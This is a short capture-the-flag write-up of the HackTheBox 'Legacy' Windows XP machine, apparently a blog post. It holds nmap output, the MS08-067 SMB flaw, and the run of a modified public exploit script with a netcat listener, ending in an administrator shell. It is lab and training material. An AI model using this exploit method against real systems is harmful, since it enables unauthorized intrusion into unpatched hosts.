Legacy — HTB
Published in
3 min readDec 17, 2019
Machine IP — 10.10.10.4
Nmap
nmap -v -A -sC -oN nmap 10.10.10.4
Nmap scan report for 10.10.10.4
Host is up (0.15s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xpHost script results:
|_clock-skew: mean: 5d00h57m39s, deviation: 1h24m51s, median: 4d23h57m39s
| nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:25:83 (VMware)
| Names:
| LEGACY<00> Flags: <unique><active>
| HTB<00> Flags: <group><active>
| LEGACY<20> Flags: <unique><active>
| HTB<1e> Flags: <group><active>
| HTB<1d> Flags: <unique><active>
|_ \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2019-12-08T14:28:34+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
we can identify that the windows xp microsoft-ds is outdate and it’s vulnerable to ms-08–67
We found exploit at github then i modified the script by changing the shellcode and then i executed , and then started nc at our local host
# python ms08-067.py 10.10.10.4 6 445#######################################################################
# MS08-067 Exploit
# This is a modified verion of Debasis Mohanty's code (https://www.exploit-db.com/exploits/7132/).
# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi
#
# Mod in 2018 by Andy Acer
# - Added support for selecting a target port at the command line.
# - Changed library calls to allow for establishing a NetBIOS session for SMB transport
# - Changed shellcode handling to allow for variable length shellcode.
#######################################################################$ This version requires the Python Impacket library version to 0_9_17 or newer.
$
$ Here's how to upgrade if necessary:
$
$ git clone --branch impacket_0_9_17 --single-branch https://github.com/CoreSecurity/impacket/
$ cd impacket
$ pip install .#######################################################################Windows XP SP3 English (NX)[-]Initiating connection
[-]connected to ncacn_np:10.10.10.4[\pipe\browser]
Exploit finish
And we get administrator shell
and see that root.txt
